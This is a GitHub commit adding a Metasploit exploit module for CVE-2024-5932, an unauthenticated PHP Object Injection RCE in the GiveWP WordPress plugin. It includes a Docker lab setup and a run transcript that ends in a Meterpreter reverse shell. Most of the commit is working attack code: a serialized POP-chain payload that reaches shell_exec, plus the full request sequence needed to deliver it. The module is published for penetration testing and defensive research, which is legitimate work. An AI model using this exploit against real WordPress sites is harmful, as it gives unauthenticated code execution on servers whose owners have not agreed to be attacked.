Skip to content

Commit 84ffa52

Browse files
authored
Land rapid7#19424, WordPress GiveWP Plugin RCE
2 parents 3bab527 + 71ee987 commit 84ffa52

File tree

3 files changed

+266
-0
lines changed

3 files changed

+266
-0
lines changed

data/wordlists/wp-exploitable-plugins.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -62,3 +62,4 @@ file-manager-advanced-shortcode
6262
royal-elementor-addons
6363
backup-backup
6464
hash-form
65+
give
Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
## Vulnerable Application
2+
3+
This Metasploit module exploits an unauthenticated PHP Object Injection vulnerability in the
4+
GiveWP plugin for WordPress (versions <= 3.14.1).
5+
The vulnerability is present in the 'give_title' parameter, allowing attackers to inject a crafted
6+
PHP object leading to remote code execution (RCE) when combined with a suitable POP chain.
7+
8+
## Setup
9+
10+
1. **Docker Compose Setup**: Create the following `docker-compose.yml` file to set up a vulnerable WordPress environment:
11+
12+
```yaml
13+
services:
14+
db:
15+
image: mysql:8.0.27
16+
command: '--default-authentication-plugin=mysql_native_password'
17+
restart: always
18+
environment:
19+
- MYSQL_ROOT_PASSWORD=somewordpress
20+
- MYSQL_DATABASE=wordpress
21+
- MYSQL_USER=wordpress
22+
- MYSQL_PASSWORD=wordpress
23+
expose:
24+
- 3306
25+
- 33060
26+
27+
wordpress:
28+
image: wordpress:6.3.2
29+
ports:
30+
- "80:80"
31+
restart: always
32+
environment:
33+
- WORDPRESS_DB_HOST=db
34+
- WORDPRESS_DB_USER=wordpress
35+
- WORDPRESS_DB_PASSWORD=wordpress
36+
- WORDPRESS_DB_NAME=wordpress
37+
volumes:
38+
db_data:
39+
```
40+
1. Run Docker: `docker compose up`
41+
1. Access the WordPress instance at `http://127.0.0.1` and complete the installation process
42+
1. **Download and Install Vulnerable GiveWP Plugin**:
43+
- Download the plugin: [GiveWP 3.14.1](https://downloads.wordpress.org/plugin/give.3.14.1.zip)
44+
- Unzip the plugin and copy it to the Docker container:
45+
```bash
46+
docker compose cp give wordpress:/var/www/html/wp-content/plugins
47+
```
48+
- Access the WordPress instance at `http://localhost` and activate the GiveWP plugin via the admin dashboard.
49+
50+
1. **Create a Donation Form**:
51+
- Navigate to the "Forms" section within the GiveWP plugin and click on "Add Form."
52+
- Select any form.
53+
- Configure the form as needed, publish it.
54+
55+
## Options
56+
57+
No specific options need to be configured.
58+
59+
## Verification Steps
60+
61+
1. Start `msfconsole`.
62+
2. Use the module with `use exploit/multi/http/wp_givewp_rce`.
63+
3. Set `RHOSTS`, `RPORT`, and the necessary WordPress-specific options.
64+
4. Run the exploit.
65+
5. Gain a Meterpreter session.
66+
67+
## Scenarios
68+
69+
### GiveWP Plugin version: 3.14.1 (Dockerized WordPress Version 6.3.2)
70+
71+
Using `cmd/linux/http/x64/meterpreter/reverse_tcp`:
72+
73+
```bash
74+
msf6 > use exploit/multi/http/wp_givewp_rce
75+
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
76+
msf6 exploit(multi/http/wp_givewp_rce) > run http://127.0.0.1:8888
77+
78+
[*] Started reverse TCP handler on 192.168.1.36:4444
79+
[*] Running automatic check ("set AutoCheck false" to disable)
80+
[*] WordPress Version: 6.3.2
81+
[+] Detected GiveWP Plugin version: 3.14.1
82+
[+] The target appears to be vulnerable.
83+
[+] Successfully retrieved form list. Available Form IDs: 8, 10, 13
84+
[*] Using Form ID: 13 for exploitation.
85+
[*] Sending stage (3045380 bytes) to 172.24.0.3
86+
[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 172.24.0.3:51272) at 2024-08-27 22:11:22 +0200
87+
88+
meterpreter > sysinfo
89+
Computer : 172.24.0.3
90+
OS : Debian 11.8 (Linux 5.15.0-119-generic)
91+
Architecture : x64
92+
BuildTuple : x86_64-linux-musl
93+
Meterpreter : x64/linux
94+
```
Lines changed: 171 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,171 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::Remote::HTTP::Wordpress
11+
prepend Msf::Exploit::Remote::AutoCheck
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'GiveWP Unauthenticated Donation Process Exploit',
18+
'Description' => %q{
19+
The GiveWP Donation Plugin and Fundraising Platform plugin for WordPress in all versions up to and including 3.14.1 is vulnerable to a PHP Object Injection (POI) attack granting an unauthenticated arbitrary code execution.
20+
},
21+
22+
'License' => MSF_LICENSE,
23+
'Author' => [
24+
'Villu Orav', # Initial Discovery
25+
'EQSTSeminar', # Proof of Concept
26+
'Julien Ahrens', # Vulnerability Analysis
27+
'Valentin Lobstein' # Metasploit Module
28+
],
29+
'References' => [
30+
['CVE', '2024-5932'],
31+
['URL', 'https://github.com/EQSTSeminar/CVE-2024-5932'],
32+
['URL', 'https://www.rcesecurity.com/2024/08/wordpress-givewp-pop-to-rce-cve-2024-5932'],
33+
['URL', 'https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin']
34+
],
35+
'DisclosureDate' => '2024-08-25',
36+
'Platform' => %w[unix linux win],
37+
'Arch' => [ARCH_CMD],
38+
'Privileged' => false,
39+
'Targets' => [
40+
[
41+
'Unix/Linux Command Shell',
42+
{
43+
'Platform' => %w[unix linux],
44+
'Arch' => ARCH_CMD
45+
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
46+
}
47+
],
48+
[
49+
'Windows Command Shell',
50+
{
51+
'Platform' => 'win',
52+
'Arch' => ARCH_CMD
53+
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
54+
}
55+
]
56+
],
57+
'DefaultTarget' => 0,
58+
'Notes' => {
59+
'Stability' => [CRASH_SAFE],
60+
'Reliability' => [REPEATABLE_SESSION],
61+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
62+
}
63+
)
64+
)
65+
end
66+
67+
def check
68+
return CheckCode::Unknown unless wordpress_and_online?
69+
70+
print_status("WordPress Version: #{wordpress_version}") if wordpress_version
71+
check_code = check_plugin_version_from_readme('give', '3.14.2')
72+
return CheckCode::Safe unless check_code.code == 'appears'
73+
74+
print_good("Detected GiveWP Plugin version: #{check_code.details[:version]}")
75+
CheckCode::Appears
76+
end
77+
78+
def exploit
79+
forms = fetch_form_list
80+
fail_with(Failure::UnexpectedReply, 'No forms found.') if forms.empty?
81+
82+
selected_form = forms.sample
83+
valid_form = retrieve_and_analyze_form(selected_form['id'])
84+
85+
return print_error('Failed to retrieve a valid form for exploitation.') unless valid_form
86+
87+
print_status("Using Form ID: #{valid_form['give_form_id']} for exploitation.")
88+
send_exploit_request(
89+
valid_form['give_form_id'],
90+
valid_form['give_form_hash'],
91+
valid_form['give_price_id'],
92+
valid_form['give_amount']
93+
)
94+
end
95+
96+
def fetch_form_list
97+
res = send_request_cgi(
98+
'method' => 'POST',
99+
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
100+
'data' => 'action=give_form_search'
101+
)
102+
103+
return print_error('Failed to retrieve form list.') unless res&.code == 200
104+
105+
forms = JSON.parse(res.body)
106+
form_ids = forms.map { |form| form['id'] }.sort
107+
108+
print_good("Successfully retrieved form list. Available Form IDs: #{form_ids.join(', ')}")
109+
forms
110+
end
111+
112+
def retrieve_and_analyze_form(form_id)
113+
form_res = send_request_cgi(
114+
'method' => 'POST',
115+
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
116+
'vars_post' => { 'action' => 'give_donation_form_nonce', 'give_form_id' => form_id }
117+
)
118+
119+
return unless form_res&.code == 200
120+
121+
form_data = JSON.parse(form_res.body)
122+
give_form_id = form_id
123+
give_form_hash = form_data['data']
124+
give_price_id = '0'
125+
give_amount = '$10.00'
126+
# Somehow, can't randomize give_price_id and give_amount otherwise the exploit won't work.
127+
128+
return unless give_form_hash
129+
130+
{
131+
'give_form_id' => give_form_id,
132+
'give_form_hash' => give_form_hash,
133+
'give_price_id' => give_price_id,
134+
'give_amount' => give_amount
135+
}
136+
end
137+
138+
def send_exploit_request(give_form_id, give_form_hash, give_price_id, give_amount)
139+
final_payload = format(
140+
'O:19:"Stripe\\\\\\\\StripeObject":1:{s:10:"\\0*\\0_values";a:1:{s:3:"foo";' \
141+
'O:62:"Give\\\\\\\\PaymentGateways\\\\\\\\DataTransferObjects\\\\\\\\GiveInsertPaymentData":1:{' \
142+
's:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\\0*\\0container";' \
143+
'O:33:"Give\\\\\\\\Vendors\\\\\\\\Faker\\\\\\\\ValidGenerator":3:{s:12:"\\0*\\0validator";' \
144+
's:10:"shell_exec";s:12:"\\0*\\0generator";' \
145+
'O:34:"Give\\\\\\\\Onboarding\\\\\\\\SettingsRepository":1:{' \
146+
's:11:"\\0*\\0settings";a:1:{s:8:"address1";s:%<length>d:"%<encoded>s";}}' \
147+
's:13:"\\0*\\0maxRetries";i:10;}}}}}}',
148+
length: payload.encoded.length,
149+
encoded: payload.encoded
150+
)
151+
152+
data = {
153+
'give-form-id' => give_form_id,
154+
'give-form-hash' => give_form_hash,
155+
'give-price-id' => give_price_id,
156+
'give-amount' => give_amount,
157+
'give_first' => Faker::Name.first_name,
158+
'give_last' => Faker::Name.last_name,
159+
'give_email' => Faker::Internet.email,
160+
'give_title' => final_payload,
161+
'give-gateway' => 'offline',
162+
'action' => 'give_process_donation'
163+
}
164+
165+
send_request_cgi({
166+
'method' => 'POST',
167+
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
168+
'data' => URI.encode_www_form(data)
169+
}, 0)
170+
end
171+
end

0 commit comments

Comments
 (0)